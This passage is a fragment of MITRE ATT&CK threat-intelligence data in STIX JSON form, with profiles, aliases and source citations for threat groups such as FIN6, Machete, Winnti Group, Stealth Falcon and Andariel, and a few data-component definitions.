2019)","x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["TA551","GOLD CABIN","Shathak"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Shuhei Sasada, Cyber Defense Institute, Inc","Ryo Tamura, SecureBrain Corporation","Shotaro Hamamoto, NEC Solution Innovators, Ltd","Yusuke Niwa, ITOCHU Corporation","Takuma Matsumoto, LAC Co., Ltd"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","type":"intrusion-set","created":"2021-03-19T21:04:00.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0127","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0127"},{"source_name":"GOLD CABIN","description":"(Citation: Secureworks GOLD CABIN)"},{"source_name":"Shathak","description":"(Citation: Unit 42 Valak July 2020)(Citation: Unit 42 TA551 Jan 2021)"},{"source_name":"Secureworks GOLD CABIN","url":"https://www.secureworks.com/research/threat-profiles/gold-cabin","description":"Secureworks. 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(Citation: Unit 42 TA551 Jan 2021)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.275Z","name":"Domain Registration","description":"Information about domain name assignments and other domain metadata (ex: WHOIS)","x_mitre_data_source_ref":"x-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Machete","APT-C-43","El Machete"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matias Nicolas Porolli, ESET"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0","type":"intrusion-set","created":"2019-09-13T12:37:10.394Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0095","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0095"},{"source_name":"Machete","description":"(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)("},{"source_name":"APT-C-43","description":"(Citation: 360 Machete Sep 2020)"},{"source_name":"El Machete","description":"(Citation: Cylance Machete Mar 2017)"},{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"},{"source_name":"Securelist Machete Aug 2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."},{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."},{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). 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[Machete](https://attack.mitre.org/groups/G0095) generally targets high-profile organizations such as government institutions, intelligence services, and military units, as well as telecommunications and power companies.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--1177a4c5-31c8-400c-8544-9071166afa0e","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.273Z","name":"Windows Registry Key Deletion","description":"Removal of a Registry Key (ex: Windows EID 4658 or Sysmon EID 12)","x_mitre_data_source_ref":"x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["FIN6","Magecart Group 6","SKELETON SPIDER","ITG08"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)","Drew Church, Splunk"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","type":"intrusion-set","created":"2017-05-31T21:32:06.015Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0037","external_id":"G0037"},{"source_name":"FIN6","description":"(Citation: FireEye FIN6 April 2016)"},{"source_name":"Magecart Group 6","description":"(Citation: Security Intelligence ITG08 April 2020)"},{"source_name":"SKELETON SPIDER","description":"(Citation: Crowdstrike Global Threat Report Feb 2018)"},{"source_name":"ITG08","description":"(Citation: Security Intelligence More Eggs Aug 2019)"},{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"},{"description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","source_name":"FireEye FIN6 Apr 2019"},{"source_name":"Security Intelligence ITG08 April 2020","url":"https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/","description":"Villadsen, O. (2020, April 7). ITG08 (aka FIN6) Partners With TrickBot Gang, Uses Anchor Framework. Retrieved October 8, 2020."},{"source_name":"Crowdstrike Global Threat Report Feb 2018","description":"CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.","url":"https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report"},{"description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/","source_name":"Security Intelligence More Eggs Aug 2019"}],"modified":"2021-10-14T17:23:58.316Z","name":"FIN6","description":"[FIN6](https://attack.mitre.org/groups/G0037) is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)","x_mitre_version":"3.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Leafminer","Raspite"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","type":"intrusion-set","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0077","external_id":"G0077"},{"source_name":"Leafminer","description":"(Citation: Symantec Leafminer July 2018)"},{"source_name":"Raspite","description":"(Citation: Dragos Raspite Aug 2018)"},{"url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","source_name":"Symantec Leafminer July 2018"},{"description":"Dragos, Inc. (2018, August 2). RASPITE. Retrieved November 26, 2018.","url":"https://www.dragos.com/blog/20180802Raspite.html","source_name":"Dragos Raspite Aug 2018"}],"modified":"2021-10-12T23:23:16.109Z","name":"Leafminer","description":"[Leafminer](https://attack.mitre.org/groups/G0077) is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. (Citation: Symantec Leafminer July 2018)","x_mitre_version":"2.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Dark Caracal"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12","type":"intrusion-set","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0070","external_id":"G0070"},{"source_name":"Dark Caracal","description":"(Citation: Lookout Dark Caracal Jan 2018)"},{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. 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(2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"modified":"2021-10-12T22:12:11.717Z","name":"Night Dragon","description":"[Night Dragon](https://attack.mitre.org/groups/G0014) is a campaign name for activity involving a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)","x_mitre_version":"1.4","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Axiom","Group 72"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","created":"2017-05-31T21:31:45.629Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"G0001","url":"https://attack.mitre.org/groups/G0001"},{"source_name":"Group 72","description":"(Citation: Cisco Group 72)"},{"source_name":"Axiom","description":"(Citation: Novetta-Axiom)"},{"source_name":"Cisco Group 72","url":"http://blogs.cisco.com/security/talos/threat-spotlight-group-72","description":"Esler, J., Lee, M., and Williams, C. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016."},{"source_name":"Kaspersky Winnti April 2013","url":"https://securelist.com/winnti-more-than-just-a-game/37029/","description":"Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017."},{"source_name":"Novetta Winnti April 2015","url":"http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017."},{"source_name":"Novetta-Axiom","url":"http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014."},{"source_name":"Kaspersky Winnti June 2015","url":"https://securelist.com/games-are-over/70991/","description":"Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Axiom](https://attack.mitre.org/groups/G0001) is a suspected Chinese cyber espionage group that has targeted the aerospace, defense, government, manufacturing, and media sectors since at least 2008. Some reporting suggests a degree of overlap between [Axiom](https://attack.mitre.org/groups/G0001) and [Winnti Group](https://attack.mitre.org/groups/G0044) but the two groups appear to be distinct based on differences in reporting on TTPs and targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015)","modified":"2022-04-15T15:52:00.359Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Axiom","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Sowbug"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Alan Neville, @abnev"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e","type":"intrusion-set","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0054","external_id":"G0054"},{"source_name":"Sowbug","description":"(Citation: Symantec Sowbug Nov 2017)"},{"url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments","description":"Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.","source_name":"Symantec Sowbug Nov 2017"}],"modified":"2020-03-30T02:46:16.483Z","name":"Sowbug","description":"[Sowbug](https://attack.mitre.org/groups/G0054) is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Rocke"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","type":"intrusion-set","created":"2020-05-26T14:20:20.623Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0106","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0106"},{"source_name":"Talos Rocke August 2018","url":"https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html","description":"Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."}],"modified":"2020-06-19T20:41:21.215Z","name":"Rocke","description":"[Rocke](https://attack.mitre.org/groups/G0106) is an alleged Chinese-speaking adversary whose primary objective appeared to be cryptojacking, or stealing victim system resources for the purposes of mining cryptocurrency. The name [Rocke](https://attack.mitre.org/groups/G0106) comes from the email address \"rocke@live.cn\" used to create the wallet which held collected cryptocurrency. Researchers have detected overlaps between [Rocke](https://attack.mitre.org/groups/G0106) and the Iron Cybercrime Group, though this attribution has not been confirmed.(Citation: Talos Rocke August 2018)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Winnti Group","Blackfly"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Edward Millington"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff","created":"2017-05-31T21:32:08.682Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"G0044","url":"https://attack.mitre.org/groups/G0044"},{"source_name":"Winnti Group","description":"(Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015)"},{"source_name":"Blackfly","description":"(Citation: Symantec Suckfly March 2016)"},{"source_name":"Symantec Suckfly March 2016","url":"http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates","description":"DiMaggio, J. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016."},{"source_name":"401 TRG Winnti Umbrella May 2018","url":"https://401trg.github.io/pages/burning-umbrella.html","description":"Hegel, T. (2018, May 3). Burning Umbrella: An Intelligence Report on the Winnti Umbrella and Associated State-Sponsored Attackers. Retrieved July 8, 2018."},{"source_name":"Kaspersky Winnti April 2013","url":"https://securelist.com/winnti-more-than-just-a-game/37029/","description":"Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017."},{"source_name":"Novetta Winnti April 2015","url":"http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017."},{"source_name":"Kaspersky Winnti June 2015","url":"https://securelist.com/games-are-over/70991/","description":"Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: 401 TRG Winnti Umbrella May 2018)","modified":"2022-04-15T16:27:20.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Winnti Group","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Stealth Falcon"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8","type":"intrusion-set","created":"2017-05-31T21:32:06.390Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0038","external_id":"G0038"},{"source_name":"Stealth Falcon","description":"(Citation: Citizen Lab Stealth Falcon May 2016)"},{"source_name":"Citizen Lab Stealth Falcon May 2016","description":"Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.","url":"https://citizenlab.org/2016/05/stealth-falcon/"}],"modified":"2020-11-23T18:57:19.208Z","name":"Stealth Falcon","description":"[Stealth Falcon](https://attack.mitre.org/groups/G0038) is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["APT18","TG-0416","Dynamite Panda","Threat Group-0416"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648","type":"intrusion-set","created":"2017-05-31T21:31:57.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0026","external_id":"G0026"},{"source_name":"APT18","description":"(Citation: ThreatStream Evasion Analysis)(Citation: Anomali Evasive Maneuvers July 2015)"},{"source_name":"TG-0416","description":"(Citation: ThreatStream Evasion Analysis)(Citation: Anomali Evasive Maneuvers July 2015)"},{"source_name":"Dynamite Panda","description":"(Citation: ThreatStream Evasion Analysis)(Citation: Anomali Evasive Maneuvers July 2015)"},{"source_name":"Threat Group-0416","description":"(Citation: ThreatStream Evasion Analysis)"},{"url":"http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/","description":"Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.","source_name":"Dell Lateral Movement"},{"url":"https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop","description":"Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.","source_name":"ThreatStream Evasion Analysis"},{"source_name":"Anomali Evasive Maneuvers July 2015","url":"https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop","description":"Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Retrieved November 15, 2018."}],"modified":"2020-03-30T18:46:16.853Z","name":"APT18","description":"[APT18](https://attack.mitre.org/groups/G0026) is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)","x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.271Z","name":"User Account Creation","description":"Initial construction of a new account (ex: Windows EID 4720 or /etc/passwd logs)","x_mitre_data_source_ref":"x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["TA459"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Valerii Marchuk, Cybersecurity Help s.r.o."],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481","type":"intrusion-set","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0062","external_id":"G0062"},{"source_name":"TA459","description":"(Citation: Proofpoint TA459 April 2017)"},{"url":"https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts","description":"Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.","source_name":"Proofpoint TA459 April 2017"}],"modified":"2020-03-30T19:22:32.962Z","name":"TA459","description":"[TA459](https://attack.mitre.org/groups/G0062) is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others. (Citation: Proofpoint TA459 April 2017)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["admin@338"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Tatsuya Daitoku, Cyber Defense Institute, Inc."],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","type":"intrusion-set","created":"2017-05-31T21:31:53.579Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0018","external_id":"G0018"},{"source_name":"admin@338","description":"(Citation: FireEye admin@338)"},{"source_name":"FireEye admin@338","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"}],"modified":"2020-03-18T19:54:59.120Z","name":"admin@338","description":"[admin@338](https://attack.mitre.org/groups/G0018) is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as [PoisonIvy](https://attack.mitre.org/software/S0012), as well as some non-public backdoors. (Citation: FireEye admin@338)","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--45fd904d-6eb0-4b50-8478-a961f09f898b","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.274Z","name":"Instance Metadata","description":"Contextual data about an instance and activity around it such as name, type, or status","x_mitre_data_source_ref":"x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Gallmaker"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee","type":"intrusion-set","created":"2019-01-30T14:26:42.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0084","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0084"},{"source_name":"Gallmaker","description":"(Citation: Symantec Gallmaker Oct 2018)"},{"source_name":"Symantec Gallmaker Oct 2018","url":"https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group","description":"Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018."}],"modified":"2020-03-30T19:04:47.798Z","name":"Gallmaker","description":"[Gallmaker](https://attack.mitre.org/groups/G0084) is a cyberespionage group that has targeted victims in the Middle East and has been active since at least December 2017. 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(2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.","url":"http://www.crowdstrike.com/blog/whois-numbered-panda/"},{"source_name":"Moran 2014","description":"Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin’s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.","url":"https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"}],"modified":"2020-03-30T18:44:59.268Z","name":"APT12","description":"[APT12](https://attack.mitre.org/groups/G0005) is a threat group that has been attributed to China. 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(2017, July 27). Campaign Rifle - Andariel, the Maiden of Anguish. Retrieved September 29, 2021."},{"source_name":"IssueMakersLab Andariel GoldenAxe May 2017","url":"http://www.issuemakerslab.com/research3/","description":"IssueMakersLab. (2017, May 1). Operation GoldenAxe. Retrieved September 29, 2021."},{"source_name":"AhnLab Andariel Subgroup of Lazarus June 2018","url":"http://download.ahnlab.com/global/brochure/[Analysis]Andariel_Group.pdf","description":"AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group,  a subgroup of the Lazarus. Retrieved September 29, 2021."},{"source_name":"TrendMicro New Andariel Tactics July 2018","url":"https://www.trendmicro.com/en_us/research/18/g/new-andariel-reconnaissance-tactics-hint-at-next-targets.html","description":"Chen, Joseph. (2018, July 16). New Andariel Reconnaissance Tactics Uncovered. Retrieved September 29, 2021."},{"source_name":"CrowdStrike Silent Chollima Adversary September 2021","url":"https://adversary.crowdstrike.com/en-US/adversary/silent-chollima/","description":"CrowdStrike. (2021, September 29). Silent Chollima Adversary Profile. Retrieved September 29, 2021."},{"source_name":"Treasury North Korean Cyber Groups September 2019","url":"https://home.treasury.gov/news/press-releases/sm774","description":"US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021."}],"modified":"2021-10-15T15:16:47.329Z","name":"Andariel","description":"[Andariel](https://attack.mitre.org/groups/G0138) is a North Korean state-sponsored threat group that has been active since at least 2009. [Andariel](https://attack.mitre.org/groups/G0138) has primarily focused its operations--which have included destructive attacks--against South Korean government agencies, military organizations, and a variety of domestic companies; they have also conducted cyber financial operations against ATMs, banks, and cryptocurrency exchanges. [Andariel](https://attack.mitre.org/groups/G0138)'s notable activity includes Operation Black Mine, Operation GoldenAxe, and Campaign Rifle.(Citation: FSI Andariel Campaign Rifle July 2017)(Citation: IssueMakersLab Andariel GoldenAxe May 2017)(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)(Citation: TrendMicro New Andariel Tactics July 2018)(Citation: CrowdStrike Silent Chollima Adversary September 2021)\n\n[Andariel](https://attack.mitre.org/groups/G0138) is considered a sub-set of [Lazarus Group](https://attack.mitre.org/groups/G0032), and has been attributed to North Korea's Reconnaissance General Bureau.(Citation: Treasury North Korean Cyber Groups September 2019)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus 